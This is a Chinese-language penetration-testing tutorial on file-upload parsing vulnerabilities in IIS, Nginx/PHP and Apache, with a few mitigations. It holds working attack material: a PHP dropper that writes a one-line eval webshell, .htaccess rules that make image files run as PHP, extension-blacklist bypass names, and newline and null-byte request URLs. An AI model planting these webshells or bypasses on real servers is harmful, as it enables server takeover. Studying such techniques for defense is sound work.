特殊后缀名解析是IIS本身的一个功能特性，但该功能特性被滥用可导致解析漏洞。如果网站进行了黑名单限制，攻击者可以上传这些特殊后缀名的文件，从而绕过黑名单限制执行Webshell代码。

实际后缀可执行测试对比情况：

1.文件解析

构造包含“;”的文件名，例如up.asp;1.jpg，解析拓展名时因为被;截断，于是文件被解析成asp文件执行。上传此类名称的文件可以绕过上传的黑名单限制。

**2.目录解析 **

因为IIS6.0解析文件时遇到 / 时进行截断，不解析 / 号后面的内容，所以如果构造 a.asp/xx.jpg 形式的文件，解析时获取结果为 a.asp ，是asp类型，因此 a.asp/xx.jpg 会被当作asp文件执行。

但是正常情况下我们不能直接新建这样的文件，因为文件名里不能包含 / 符号，如果构造这种URL的话，可以提前建一个 a.asp 的目录，然后在这个目录里上传 xx.jpg 形式的文件，这样访问文件时 a.asp/xx.jpg 就会被解析成asp文件执行。

利用场景 ：在目标网站创建.asp、.asp、.asa、.cer等名称的目录，然后向该目录上传任意拓展名的文件

因此，该漏洞的利用方式是上传其他拓展名的文件，访问时在路径后添加任意以“.php”结尾的路径名即可将该文件以php格式解析执行，如“s.jpg/1.php”。因为php解析器在解析路径时发现1.php不存在，于是修正路径继续向前解析，所以s.jpg会作为php文件类型执行。该漏洞可以绕过文件上传时的黑白名单策略执行Webshell代码。

一种常用的技巧是上传一个1.jpg或图片马文件，内容为下图所示代码。上传后访问路径1.jpg/x.php，通过路径解析漏洞执行1.jpg中的php代码后，会在网站当前目录下创建一句话webshell文件s.php，连接密码为1。

1

<?PHP fputs(fopen('s.php','w'),'<?php eval($_POST[1])?>');?>

然后访问 1.jpg/.php ，在当前路径下就会生成一句话木马shell.php，菜刀连接即可，密码为1.

这种只要看到URL中路径名以.php结尾，便不检测路径是否存在就直接交给php处理的逻辑，导致了这种漏洞的出现，不仅是IIS7，Nginx部分版本也存在这种路径解析漏洞。Apache在解析时，会先判断路径或文件是否存在，如果存在才传给php处理，避免了 cgi.fix_pathinfo 去解析，因此不存在这个漏洞。

解决该漏洞的方法之一是在php.ini配置文件中，将 cgi_pathinfo=1 取消注释并设置值为0，但修改该值可能会让应用程序可用性受到影响。

php5.3.9及以上版本增加了 security.limit_extensions 参数，该参数配置项限制了fastcgi解析文件的类型，配置为“.php”代表仅允许执行.php后缀的文件，可防止Web服务的错误配置带来的代码执行。

Apache 在解析文件后缀名时的特性是：从右向左判断，当遇到无法识别的扩展名时会继续向左解析，直到找到可识别的后缀名为止。

该特性会产生一定的安全风险，如果网站使用了黑名单策略不允许上传某类后缀结尾的文件，攻击者可在文件名后添加Apache无法识别的后缀名，从而绕过限制上传文件。解决该风险的有效方法是升级Apache版本至最新版，如果无法升级Apache，后端可使用白名单策略对上传文件的后缀进行校验。

利用场景 ：可绕过黑名单策略，比如网站不允许上传 .php 后缀的文件，把名字改为 .php.123 后上传，这样apache从右往左解析时，解析到.php时文件执行，从而绕过了黑名单检测。

正则表达式 ".+\.ph(p[3457]?|t|tml)$" 匹配到以 php、php3、php4、php5、php7、pht、phtml 后缀名结尾的文件时会把文件交给php解析器执行，因此存在一些特殊的可执行文件后缀名，如图4-46所示：

同理，对于php7.4，默认可匹配的后缀名有：phar、php、phtml。

如果网站使用了黑名单策略禁止上传某些后缀名文件，攻击者可以尝试上传php3、php4、php5、php7、pht、phtml等特殊后缀名的文件绕过上传策略执行恶意代码。

1
2
3
4
5

php: .phtml, .php, .php3, .php4, .php5, and .inc
asp: .aspx
perl: .pl, .pm, .cgi, .lib
jsp: .jsp, .jspx, .jsw, .jsv, and .jspf
Coldfusion: .cfm, .cfml, .cfc, .dbm

1
2
3
4
5
6
7

$ cat /etc/mime.types | grep php
#application/x-httpd-php                        phtml pht php
#application/x-httpd-php-source                  phps
#application/x-httpd-php3                        php3
#application/x-httpd-php3-preprocessed        php3p
#application/x-httpd-php4                        php4
#application/x-httpd-php5                                    php5

如果在该文件中错误配置了类似规则如 application/x-httpd-php ssoo ，则会导致ssoo后缀名结尾的文件被当做php程序执行。该特性适合用于隐藏webshell后门。

1
2
3

<FilesMatch "info.ookk">
  SetHandler application/x-httpd-php
</FilesMatch>

如果配置了该规则，会将文件info.ookk文件当做php执行。

除此以外，还有其他常见错误配置代码如：

1
2

AddType application/x-httpd-php jpg
AddHandler application/x-httpd-php php

前者可造成所有的jpg文件被当做php解析；若错误配置了后者的代码示例，当文件名任意部分出现php时都会被作为php文件解析，如1.php.jpg。

利用场景 ：上传 .htaccess 配置文件，定义解析规则，把图片马解析成php文件执行。

测试环境下开启.htaccess功能，需要在apache配置文件中将AllowOverride参数设置为all并加载mod_Rewrite模块（默认已加载）。

开启.htaccess ：Apache配置文件 AllowOverride 的值设置为 all 并开启rewrite_mod(默认开启状态)。

1、修改Apache配置文件 /etc/apache2/apache2.conf ，设置 AllowOverride 的值为 All 。其他版本配置文件位置可能有变化

1
2
3
4
5

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>

2、Apache加载mod_Rewrite模块(默认已开启)。加载该模块，需要在Apache的配置文件中写上：

1

LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

rewrite默认是开启状态

1
2

cat /etc/apache2/mods-available/rewrite.load 
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

Ubuntu可能还需要执行命令加载生效：

1

sudo a2enmod rewrite

注意：Apache可能有多个配置文件，后加载的配置文件会覆盖先加载的配置文件中的配置。所以在某个配置文件中将AllowOverride设置成All，若是其后加载的某个配置文件中AllowOverride的设置是None，则会不生效。一般来说，先加载httpd.conf，再加载conf.d/中的配置文件，最后加载sites-enabled/中的配置文件。

假设攻击者在网站当前目录下上传了.htaccess文件，其中中写入自定义解析规则：

1
2
3

<FilesMatch "info.123123ookk">
  SetHandler application/x-httpd-php
</FilesMatch>

该规则的作用是将info.123123ookk文件作为php执行，在访问info.123123ookk文件时，可以看到文件被执行：

同理，如果攻击者在.htaccess文件中写入其他影响范围更大或更隐蔽的规则，如将某类特殊后缀名全部解析成php执行，则会给网站带来巨大的危害。

1
2
3

<FilesMatch \.(php|php4|phtml)$>
    SetHandler application/x-httpd-php
</FilesMatch>

上传文件时使用Burp Suite拦截请求包，在hex模式下的文件后缀名尾部插入一个换行符0a。

上传成功后在文件尾部添加%0a，访问即可执行代码。

该漏洞利用条件较苛刻，如果网站开发者使用 $_FILES['file']['name'] 获取文件名时，会自动把换行符去掉，导致该漏洞失效。并且security.limit_extensions`配置如果设置了.php，则默认只解析php后缀的文件，多一个换行符也不行。

该漏洞是利用空格字符的检查逻辑进行绕过，因此需要上传带空格的文件到服务器然后进行访问，但通常网站会将文件重命名或去除特殊字符，导致在Linux环境下该漏洞利用条件较为苛刻，而Windows默认会去掉文件名后的空格，在Windows上利用时该漏洞时只需要上传任意文件，访问时在URL后添加 [0x20][0x00] 字符即可。常见请求格式：

1
2

www.xxxx.com/1.jpg%00.php
www.xxxx.com/1.jpg/%20\0.php